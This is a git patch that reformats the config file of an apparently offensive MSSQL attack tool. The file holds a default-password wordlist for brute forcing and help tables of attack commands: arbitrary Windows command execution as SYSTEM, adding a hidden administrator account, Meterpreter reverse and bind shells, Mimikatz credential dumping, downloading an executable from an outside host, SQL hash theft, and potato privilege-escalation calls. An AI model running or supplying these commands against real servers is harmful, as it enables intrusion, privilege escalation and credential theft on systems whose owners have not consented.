From 14b6b133c89c4d2c05f50c830780b5758b4d56e7 Mon Sep 17 00:00:00 2001 From: sairson Date: Tue, 11 Jan 2022 09:17:34 +0800 Subject: [PATCH] =?UTF-8?q?=E4=BC=98=E5=8C=96=E4=BB=A3=E7=A0=81=E7=BB=93?= =?UTF-8?q?=E6=9E=84?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- config/config.go | 48 ++++++++++++++++++++++++------------------------ 1 file changed, 24 insertions(+), 24 deletions(-) diff --git a/config/config.go b/config/config.go index 6e89854..dc65e32 100644 --- a/config/config.go +++ b/config/config.go @@ -33,33 +33,33 @@ var Userdict = map[string][]string{ var Passwords = []string{"123456", "admin", "admin123", "root", "12312", "pass123", "pass@123", "930517", "password", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "kali"} var WarKitHelp = [][]string{ - []string{"**IF You Want SQL Command Execute**", "declare @result varchar(4000);EXEC sp_cmdExec 'ipconfig',@result output; select @result"}, - []string{"EXEC sp_cmdExec 'whoami'", "Any Windows command"}, - []string{"EXEC sp_cmdExec 'whoami /RunSystemPriv'", "Any Windows command with NT AUTHORITY\\SYSTEM rights"}, - []string{`EXEC sp_cmdExec '"net user eyup P@ssw0rd1 /add"`, "Adding users with RottenPotato (Kumpir)"}, - []string{`EXEC sp_cmdExec '"net localgroup administrators eyup /add" /RunSystemPriv'`, "Adding user to localgroup with RottenPotato (Kumpir)"}, - []string{`EXEC sp_cmdExec 'powershell Get-ChildItem /RunSystemPS'`, "(Powershell) with RottenPotato (Kumpir)"}, - []string{`EXEC sp_cmdExec 'sp_meterpreter_reverse_tcp LHOST LPORT GetSystem'`, `x86 Meterpreter Reverse Connection with NT AUTHORITY\SYSTEM`}, - []string{`EXEC sp_cmdExec 'sp_x64_meterpreter_reverse_tcp LHOST LPORT GetSystem`, "x64 Meterpreter Reverse Connection with NT AUTHORITY\\SYSTEM"}, - []string{`EXEC sp_cmdExec 'sp_meterpreter_reverse_rc4 LHOST LPORT GetSystem'`, "x86 Meterpreter Reverse Connection RC4 with NT AUTHORITY\\SYSTEM, RC4PASSWORD=warsql"}, - []string{`EXEC sp_cmdExec 'sp_meterpreter_bind_tcp LPORT GetSystem'`, "x86 Meterpreter Bind Connection with NT AUTHORITY\\SYSTEM"}, - []string{`EXEC sp_cmdExec 'sp_Mimikatz'`, `select * from WarSQLKitTemp => Get Mimikatz Log`}, - []string{`EXEC sp_cmdExec 'sp_downloadFile http://eyupcelik.com.tr/file.exe C:\ProgramData\file.exe 300'`, `Download File`}, - []string{`EXEC sp_cmdExec 'sp_getSqlHash'`, `Get MSSQL Hash`}, - []string{`EXEC sp_cmdExec 'sp_getProduct'`, `Get Windows Product`}, - []string{`EXEC sp_cmdExec 'sp_getDatabases'`, `Get Available Databases`}, + {"**IF You Want SQL Command Execute**", "declare @result varchar(4000);EXEC sp_cmdExec 'ipconfig',@result output; select @result"}, + {"EXEC sp_cmdExec 'whoami'", "Any Windows command"}, + {"EXEC sp_cmdExec 'whoami /RunSystemPriv'", "Any Windows command with NT AUTHORITY\\SYSTEM rights"}, + {`EXEC sp_cmdExec '"net user eyup P@ssw0rd1 /add"`, "Adding users with RottenPotato (Kumpir)"}, + {`EXEC sp_cmdExec '"net localgroup administrators eyup /add" /RunSystemPriv'`, "Adding user to localgroup with RottenPotato (Kumpir)"}, + {`EXEC sp_cmdExec 'powershell Get-ChildItem /RunSystemPS'`, "(Powershell) with RottenPotato (Kumpir)"}, + {`EXEC sp_cmdExec 'sp_meterpreter_reverse_tcp LHOST LPORT GetSystem'`, `x86 Meterpreter Reverse Connection with NT AUTHORITY\SYSTEM`}, + {`EXEC sp_cmdExec 'sp_x64_meterpreter_reverse_tcp LHOST LPORT GetSystem`, "x64 Meterpreter Reverse Connection with NT AUTHORITY\\SYSTEM"}, + {`EXEC sp_cmdExec 'sp_meterpreter_reverse_rc4 LHOST LPORT GetSystem'`, "x86 Meterpreter Reverse Connection RC4 with NT AUTHORITY\\SYSTEM, RC4PASSWORD=warsql"}, + {`EXEC sp_cmdExec 'sp_meterpreter_bind_tcp LPORT GetSystem'`, "x86 Meterpreter Bind Connection with NT AUTHORITY\\SYSTEM"}, + {`EXEC sp_cmdExec 'sp_Mimikatz'`, `select * from WarSQLKitTemp => Get Mimikatz Log`}, + {`EXEC sp_cmdExec 'sp_downloadFile http://eyupcelik.com.tr/file.exe C:\ProgramData\file.exe 300'`, `Download File`}, + {`EXEC sp_cmdExec 'sp_getSqlHash'`, `Get MSSQL Hash`}, + {`EXEC sp_cmdExec 'sp_getProduct'`, `Get Windows Product`}, + {`EXEC sp_cmdExec 'sp_getDatabases'`, `Get Available Databases`}, } var SharpKitHelp = [][]string{ - []string{"EXEC ClrExec 'clr_ping ip'", "Detect whether the target is reachable"}, - []string{"EXEC ClrExec 'clr_cat filename'", "Viewing target file Contents"}, - []string{`EXEC ClrExec 'clr_ls dir'`, "Listing directory files"}, - []string{`EXEC ClrExec 'clr_rm filename'`, "rm traget file"}, - []string{`EXEC ClrExec 'clr_getav'`, "List target host kill software"}, - []string{`EXEC ClrExec 'clr_rdp'`, `Open the remote desktop and return to the remote desktop port`}, - []string{`EXEC ClrExec 'clr_efspotato whoami'`, "Calls efspotato to execute system commands"}, - []string{`EXEC ClrExec 'clr_badpotato whoami'`, "Calls badpotato to execute system commands"}, - []string{`EXEC ClrExec 'clr_netstat'`, "Listing netstat -an result"}, + {"EXEC ClrExec 'clr_ping ip'", "Detect whether the target is reachable"}, + {"EXEC ClrExec 'clr_cat filename'", "Viewing target file Contents"}, + {`EXEC ClrExec 'clr_ls dir'`, "Listing directory files"}, + {`EXEC ClrExec 'clr_rm filename'`, "rm traget file"}, + {`EXEC ClrExec 'clr_getav'`, "List target host kill software"}, + {`EXEC ClrExec 'clr_rdp'`, `Open the remote desktop and return to the remote desktop port`}, + {`EXEC ClrExec 'clr_efspotato whoami'`, "Calls efspotato to execute system commands"}, + {`EXEC ClrExec 'clr_badpotato whoami'`, "Calls badpotato to execute system commands"}, + {`EXEC ClrExec 'clr_netstat'`, "Listing netstat -an result"}, } var (